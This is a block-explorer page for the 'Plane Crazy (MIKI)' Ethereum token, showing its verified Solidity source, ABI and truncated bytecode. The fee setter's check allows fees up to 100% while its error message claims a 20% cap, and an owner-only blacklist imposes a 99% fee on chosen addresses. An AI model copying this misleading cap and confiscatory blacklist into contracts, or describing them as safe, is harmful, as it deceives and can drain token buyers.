ETH Price: $3,387.29 (+1.26%)

Token

Plane Crazy (MIKI)
 

Overview

Max Total Supply

10,000,000,000 MIKI

Holders

154

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 MIKI

Value
$0.00
0x02e3e660acae57d7bc683009431d05002738d6e0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MIKI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-11
*/

/**
                  .-"""-.
                 /  . -  \
                 \       /
           .-""-.,:.-_-.<
          /    _; , / ).|
          \  ; / `  `"  '\
           '.-| ;-.____, |             .,
               \ `._~_/ /             /"/
  ,.           /`-.__.-'\`-._     ,",' ;
  \"\         / /|   o   \._ `-._; /  ./-.
   ; ';,     / / |    `__ \ `-.,( /  //.-'
  :\  \\;_.-" ;  |.-"`    ``\    /-. /.-'
   :\  .\),.-'  /      }{    |   '..'
     \ .-\      |          , /
      '..'      ;'        , /
               ( __ `;--;'__`)
                `//'`    `||`
               _//        ||
       .-"-._,(__)      .(__).-""-.
      /          \     /           \
      \          /     \           /
       `'--=="--`       `--""==--'` 
         ,--.

https://mikitoken.com/
https://t.me/mikitokeneth
https://twitter.com/MikiToken

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract MIKI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Plane Crazy";
    string private constant _symbol = unicode"MIKI";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    uint256 private liquidityFee = 250;
    uint256 private marketingFee = 2250;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 2500;
    uint256 private sellFee = 3000;
    uint256 private transferFee = 2500;
    uint256 private denominator = 10000;

    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;    

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0xB0bbEA3Dd8f902d5c1978F6014F733e572C2b3f4; 
    address internal marketing_receiver = 0xB0bbEA3Dd8f902d5c1978F6014F733e572C2b3f4;
    address internal liquidity_receiver = 0xc4379B32c8F1826280a5b092EF5eD1abB118E889;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setMikiContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setMikiTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function setMikiTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setMikiInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function setMIKIisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }

    function manualSwap() external onlyOwner {
        uint256 amount = balanceOf(address(this));
        if(amount > swapThreshold){amount = swapThreshold;}
        swapAndLiquify(amount);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setMIKIisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setMikiContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setMikiInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setMikiTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMikiTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004eb565b62000023906402540be40062000503565b60018181556007805461ffff60a01b1916600160a81b179055600a55620186a09062000052906103e862000503565b6200005e91906200051d565b600b55620186a0600154600a62000076919062000503565b6200008291906200051d565b600c5560fa600d556108ca600e556000600f5560006010556109c4601155610bb86012556109c460135561271060145561271060015460c8620000c6919062000503565b620000d291906200051d565b60155561271060015460c8620000e9919062000503565b620000f591906200051d565b60165561271060015460c86200010c919062000503565b6200011891906200051d565b601755601880546001600160a01b031990811673b0bbea3dd8f902d5c1978f6014f733e572c2b3f4908117909255601980548216909217909155601a805490911673c4379b32c8f1826280a5b092ef5ed1abb118e8891790553480156200017e57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020c919062000540565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000280919062000540565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f4919062000540565b600680546001600160a01b038581166001600160a01b031992831617909255600780548484169216919091179055306000908152600460209081526040808320805460ff199081166001908117909255601a5486168552828520805482168317905560195486168552828520805482168317905560185490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200056b565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200042d578160001904821115620004115762000411620003d6565b808516156200041f57918102915b93841c9390800290620003f1565b509250929050565b6000826200044657506001620004e5565b816200045557506000620004e5565b81600181146200046e5760028114620004795762000499565b6001915050620004e5565b60ff8411156200048d576200048d620003d6565b50506001821b620004e5565b5060208310610133831016604e8410600b8410161715620004be575081810a620004e5565b620004ca8383620003ec565b8060001904821115620004e157620004e1620003d6565b0290505b92915050565b6000620004fc60ff84168362000435565b9392505050565b8082028115828204841417620004e557620004e5620003d6565b6000826200053b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200055357600080fd5b81516001600160a01b0381168114620004fc57600080fd5b611e71806200057b6000396000f3fe6080604052600436106101855760003560e01c806370a08231116100d1578063893d20e81161008a578063a8aa1b3111610064578063a8aa1b31146104a8578063a9059cbb146104c8578063dd62ed3e146104e8578063f2fde38b1461052e57600080fd5b8063893d20e8146104295780638cd4426d1461045b57806395d89b411461047b57600080fd5b806370a082311461037157806373ef1ae2146103a757806378109e54146103c757806379cecf0d146103dd5780637cca52fe146103fd5780637d1db4a51461041357600080fd5b80632f54bf6e1161013e5780633f4218e0116101185780633f4218e0146102ec57806348ff2b8b1461031c578063492c51761461033c57806351bc3c851461035c57600080fd5b80632f54bf6e14610281578063313ce567146102b05780633497f853146102cc57600080fd5b806306fdde0314610191578063095ea7b3146101d75780630e83897f1461020757806318160ddd1461022957806323b872dd1461024c578063293230b81461026c57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600b81526a506c616e65204372617a7960a81b60208201525b6040516101ce91906119bd565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611a20565b61054e565b60405190151581526020016101ce565b34801561021357600080fd5b50610227610222366004611a4c565b610565565b005b34801561023557600080fd5b5061023e610614565b6040519081526020016101ce565b34801561025857600080fd5b506101f7610267366004611a97565b610685565b34801561027857600080fd5b506102276106ef565b34801561028d57600080fd5b506101f761029c366004611ad8565b6000546001600160a01b0391821691161490565b3480156102bc57600080fd5b50604051600981526020016101ce565b3480156102d857600080fd5b506102276102e7366004611af5565b61072e565b3480156102f857600080fd5b506101f7610307366004611ad8565b60046020526000908152604090205460ff1681565b34801561032857600080fd5b50610227610337366004611b2f565b61086f565b34801561034857600080fd5b50610227610357366004611b68565b6108c4565b34801561036857600080fd5b506102276109bb565b34801561037d57600080fd5b5061023e61038c366004611ad8565b6001600160a01b031660009081526002602052604090205490565b3480156103b357600080fd5b506102276103c2366004611af5565b610a10565b3480156103d357600080fd5b5061023e60175481565b3480156103e957600080fd5b506102276103f8366004611bb4565b610a76565b34801561040957600080fd5b5061023e60165481565b34801561041f57600080fd5b5061023e60155481565b34801561043557600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ce565b34801561046757600080fd5b50610227610476366004611a20565b610b17565b34801561048757600080fd5b506040805180820190915260048152634d494b4960e01b60208201526101c1565b3480156104b457600080fd5b50600754610443906001600160a01b031681565b3480156104d457600080fd5b506101f76104e3366004611a20565b610c32565b3480156104f457600080fd5b5061023e610503366004611c2f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053a57600080fd5b50610227610549366004611ad8565b610c3f565b600061055b338484610cbd565b5060015b92915050565b6000546001600160a01b031633146105985760405162461bcd60e51b815260040161058f90611c5d565b60405180910390fd5b601980546001600160a01b039485166001600160a01b03199182168117909255601a805494861694821685179055601880549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261068092909161067a9190610de1565b90610de1565b905090565b6000610692848484610ded565b6106e484336106df85604051806060016040528060288152602001611e14602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061133a565b610cbd565b5060015b9392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161058f90611c5d565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161058f90611c5d565b600061077b6127106107758660015461136690919063ffffffff16565b90611372565b9050600061079a6127106107758660015461136690919063ffffffff16565b905060006107b96127106107758660015461136690919063ffffffff16565b601584905560168390556017819055905060006107e56103e861077560056107df610614565b90611366565b90508084101580156107f75750808310155b80156108035750808210155b6108665760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161058f565b50505050505050565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161058f90611c5d565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161058f90611c5d565b600d879055600e8690556010859055600f84905560118390556012829055601381905560145461091f906001611372565b6011541115801561093f5750601454610939906001611372565b60125411155b801561095a5750601454610954906001611372565b60135411155b6108665760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b606482015260840161058f565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161058f90611c5d565b30600090815260026020526040902054600b54811115610a045750600b545b610a0d8161137e565b50565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161058f90611c5d565b600a839055600154610a5590620186a0906107759085611366565b600b55600154610a6e90620186a0906107759084611366565b600c55505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161058f90611c5d565b60005b82811015610b11578160056000868685818110610ac257610ac2611c7d565b9050602002016020810190610ad79190611ad8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0981611ca9565b915050610aa3565b50505050565b6000546001600160a01b03163314610b415760405162461bcd60e51b815260040161058f90611c5d565b6040516370a0823160e01b8152306004820152600090610bb9906064906107759085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610b95573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107df9190611cc2565b60185460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b119190611cdb565b600061055b338484610ded565b6000546001600160a01b03163314610c695760405162461bcd60e51b815260040161058f90611c5d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610d1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058f565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106e88284611cf8565b6001600160a01b038316610e515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058f565b6001600160a01b038216610eb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058f565b6001600160a01b038316600090815260026020526040902054811115610f355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161058f565b6001600160a01b03831660009081526004602052604090205460ff16158015610f7757506001600160a01b03821660009081526004602052604090205460ff16155b15610fc657600754600160a01b900460ff16610fc65760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161058f565b6001600160a01b03831660009081526004602052604090205460ff1615801561100857506001600160a01b03821660009081526004602052604090205460ff16155b801561102257506007546001600160a01b03838116911614155b801561103957506001600160a01b03821661dead14155b156110b2576017546001600160a01b03831660009081526002602052604090205461106490836114fb565b11156110b25760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161058f565b6007546001600160a01b0384811691161461115357601654811115806110f057506001600160a01b03831660009081526004602052604090205460ff165b8061111357506001600160a01b03821660009081526004602052604090205460ff165b6111535760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161058f565b6015548111158061117c57506001600160a01b03831660009081526004602052604090205460ff165b8061119f57506001600160a01b03821660009081526004602052604090205460ff165b6111df5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161058f565b6007546001600160a01b03838116911614801561121557506001600160a01b03831660009081526004602052604090205460ff16155b156112335760016008600082825461122d9190611d0b565b90915550505b61123e838383611507565b156112545761124e60